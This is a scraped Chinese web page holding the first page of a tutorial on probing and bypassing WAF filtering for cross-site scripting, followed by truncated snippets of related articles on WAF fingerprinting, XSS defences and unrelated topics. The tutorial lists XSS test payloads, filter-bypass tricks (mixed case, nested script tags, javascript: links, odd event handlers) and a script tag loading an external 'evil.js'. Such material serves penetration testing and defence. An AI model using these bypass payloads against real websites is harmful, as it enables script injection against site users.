初始测试1、使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;2、如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;3、尝试以下的payload<script>
alert(1);</script><script>prompt(1);</script><script>confirm (1);</script><script src="http://rhainfosec.com/evil.js">判断是否触发过滤规则,尝试使用
大小写混合字符<scRiPt>alert(1);</scrIPt>1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;2、使用<a>标签测试<a href=“http://www.google.com">Clickme</a><a被过滤?href被过滤?其他内容被过滤?如果没有过滤尝试使用<a href=”javascript:alert(1)”>Clickme</a>尝试使用错误的事件查
看过滤<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>HTML5拥有150个事件处理函数,可以多尝试其他函数<body/onhashchange=alert(1)><a href=#>clickit 1 2 3 4 5 下一页>>查看全文 内容导航第 1 页:初始测试 第 2 页:测试其他标签 第 3 页:基于
上下文的过滤 第 4 页:浏览器BUG 第 5 页:绕过 原文:XSS现代
WAF规则探测及绕过技术(1) 返回网络安全首页
XSS现代WAF规则探测及绕过技术(1)
时间: 2024-10-30 11:15:18
XSS现代WAF规则探测及绕过技术(1)的相关文章
XSS现代WAF规则探测及绕过技术
初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应: 3.尝试以下的payload <script>alert(1);</script> <script>prompt(1);</script> <scri
WAF指纹探测及识别技术(1)
Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).利用国际上公认的一种说法: Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的 一款产品.本文介绍了常见的WAF指纹识别的一些技术,详见如下:一.WAF指纹Cookie值Citrix Netscaler"Citrix Netscaler"会在HTTP返回头部Cookie位置加入"ns_af"的值,可以
《跨境电商——速卖通搜索排名规则解析与SEO技术》一一1.3 从购买过程看速卖通的搜索排序机制
1.3 从购买过程看速卖通的搜索排序机制 下面我们从一个买家的角度来模拟一次购买决策过程,从而分析此过程中速卖通搜索排序机制的基本逻辑.之所以这么做,是为了让我们从卖家之外的角度对相关原理有更深入的理解,更有利于实际的SEO工作. 1.3.1 "关键词相关度"是排序基础 首先假设你和其他卖家发布了同样的新产品(比如假发),并且除了发布的新产品外,各卖家最初状态时的其他方面都是相同的(即销量.店铺的等级.好评率等都是一样的). 假如买家在搜索框中输入"假发"的关键词进
再揭App Store潜规则:游戏绕过审核疯狂圈钱
在经过一周的疯狂"洗榜"之后(相关报道:<刷榜源头鱼死网破 中国区APP Store排行榜遭血洗>),中国区http://www.aliyun.com/zixun/aggregation/13811.html">App Store排行榜又恢复了往日的"平静",各大刷榜源头开始接单. 业内对此已经习以为常,由于苹果渠道垄断优势明显,刷榜也成为了很多开发者的无奈之举,不过刷榜并不是App Store唯一的潜规则. 游戏自我克隆轻松上架App
科普:对于XSS和CSRF你究竟了解多少
随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显.黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害.如今,Web安全成为焦点,但网站的漏洞还是频频出现,在白帽子们进行网站测试时,恐
针对XSS漏洞的前端防火墙:内联事件拦截
关于XSS漏洞怎样形成.如何注入.能做什么.如何防范,前人已有无数的探讨,这里就不再累述了.本文介绍的则是另一种预防思路.几乎每篇谈论 XSS 的文章,结尾 多少都会提到如何 防止,然而大多万变不离其宗.要转义什么,要过滤什么,不要忘了什么之类的.尽管都是众所周知的道理,但 XSS 漏洞十几年来几乎从未中断过,不乏一些大网站也时常爆出,小网站更是家常便饭.预警系统事实上,至今仍未有一劳永逸的解决方案,要避免它依旧使用最古老的土办法,逐个的过滤.然而人总有疏忽的时候,每当产品迭代更新时,难免会遗漏
针对XSS漏洞的前端防火墙:可疑模块拦截
上一篇介绍的系统,虽然能防御简单的内联XSS 代码,但想绕过还是很容易的.由于是在前端防护,策略配置都能在源代码里找到,因此很快就能试出破解方案.并且攻击者可以屏蔽日志接口,在自己电脑上永不发出报警信息,保证测试时不会被发现.昨天提到最简单并且最常见的XSS代码,就是加载站外的一个脚本文件.对于这种情况,关键字扫描就无能为力了,因为代码可以混淆的千变万化,我们看不出任何异常,只能将其放行.因此,我们还需增加一套可疑模块跟踪系统.被动扫描和之前说的一样,最简单的办法仍是遍历扫描.我们可以定时分析页
reflected_xss检测工具的介绍
1.反射型xss的介绍xss代码出现在URL中,浏览器访问这个url后,服务端响应的内容中包含有这段xss代码,这样的xss被称作反射型xss.498)this.w idth=498;' onmousewheel = 'javascript:return big(this)' border="0" alt="reflected_xss检测工具的介绍" src="http://s7.51cto.com/wyfs02/M00/24/38/wKiom1NM_Bn
WAF防御能力评测及工具
本篇文章介绍如何从常规攻击的防御能力来评测 一款WAF.一共覆盖了十六种攻击类型,每种类型均从利用场景(攻击操作的目的),注入点(漏洞产生的地方,比如说大多数WAF都会较全面地覆盖来自GET请求的攻击,有选择地覆盖来自POST请求的攻击而 忽略来自请求头的攻击)和绕过方式来评测,最后附上评测代码.一.SQL注入(注入)1. 利用场景从攻击者进行SQL注入的阶段来看,一般分为探测与攻击两个阶段(p.s.攻击阶段是WAF的 重点防御阶段)(1)探测阶段1) 探测是否存在SQL注入:基于SQL错误回显